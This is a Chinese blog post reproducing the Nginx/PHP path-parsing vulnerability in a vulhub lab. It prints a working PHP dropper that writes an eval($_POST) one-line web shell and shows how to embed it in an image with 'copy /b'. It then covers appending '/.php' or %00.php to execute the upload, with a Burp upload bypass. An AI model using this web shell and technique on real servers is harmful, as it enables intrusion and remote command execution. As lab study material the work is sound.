Nginx 解析漏洞复现及利用-CSDN博客

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

Nginx 解析漏洞复现

今天被老师进行进行面试了被问到了什么是解析漏洞呜呜呜我太菜了答不出来但是生命不息学习不止现在就让我们一起学习一下什么是解析漏洞。

打开vulhub靶场这个靶场搭建的方法在https://blog.csdn.net/Tauil/article/details/125869410?spm=1001.2014.3001.5502这个漏洞的地址是在nginx/nginx_parsing_vulnerability直接就是一个

cd nginx/nginx_parsing_vulnerability/
sudo docker-compose up -d

登录 http://靶机ip/uploadfiles/nginx.png当在该URL中输入不存在的文件名x.php时发现会自动显示php界面内容
在这里插入图片描述
这是什么原因呢其实啊这就是nginx的文件解析出现了错误在获得这个.php路径时他没有检查一看是个.php后缀的文件就直接丢给php去处理了php处理的时候发现 “诶没有这个文件啊” 于是他就会继续向上找就找到了.php的上级文件.jpg然后把它当做php文件给处理了。具体的就看下面这个详细信息

Nginx 解析漏洞该解析漏洞是PHP CGI 的漏洞在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认开启当URL中有不存在的文件PHP就会向前递归解析 在一个文件路径/xx.jpg后面加上/xx.php会将/xx.jpg解析为 php 文件。

Nginx<=0.8.37 解析漏洞 在Fast-CGI关闭的情况下Nginx <=0.8.37 依然存在解析漏洞在一个文件路径/xx.jpg后面加上%00.php 会将 /xx.jpg%00.php 解析为php 文件。另一种手法上传一个名字为test.jpg包含以下内容文件<PHP fputs(fopen(‘shell.php’.‘w’),’<?phpeval($_POST[cmd])?>’);?> 然后访问test.jpg/.php 在这个目录下就会生成一句话木马shell.php。

昂具体内容在这https://blog.csdn.net/niqiu320/article/details/115481193有兴趣的自己看一下。

Nginx 解析漏洞利用

所以我们现在要做的就是上传一个图片马文件到这个网站上然后在登录/.上传的.jpg/.php来执行该文件从而生成我们的shell.php文件来连接靶机

首先随机拿一张图片然后再写一个.php文件里面写上

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);echo"hacker"?>');?>

//创建名为shell.php的文件并在文件中写入<?php eval($_POST["cmd"]);echo"hacker"?>

我这里用的图片就是这个非常好认嗷。

在这里插入图片描述

然后在桌面你两个文件在哪就在哪打开打开cmd执行命令

copy /b 图片文件+php文件 shell.jpg

然后就成功将两个文件合成为shell.jpg文件了现在我们就可以访问http://靶机IP/index.php来上传我们的文件很显然不给上传东西写进去文件被破坏了被检验出不是正常的jpg不能上传了可能有些朋友就成功了因为第一次的时候我是可以的现在应该是写的内容太多了出了问题。

这时候我们就可以打开WexHex将图片打开拉倒文件的最末尾处右键选择编辑添加零字节然后在上面写入以下内容

在这里插入图片描述
正常情况下保存后图片仍然能正常显示如果还是不能正常显示的可以打开burpsuite然后上传正常图片时抓包在数据末尾加上一句话木马通常就能上传成功了。

现在将修改好的图片进行上传上传成功后访问图片位置图片内容正常这时候在URL后加上/.php让其运行php命令

在这里插入图片描述会发现看不到我们写入的php命令了但是其实是因为他已经成功执行了这时候在uploadfiles的目录下已经成功生成了名为shell.php的文件我们只需要访问该文件就可以了

在这里插入图片描述
这里的警告不用在意这个不影响。这个时候就可以打开某不知名工具进行连接连接成功后就可以进入到靶机内部

在这里插入图片描述再深入的就不讲了学习新思想争做新青年一起好好学习努力为社会做出贡献。

在这里插入图片描述

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: nginx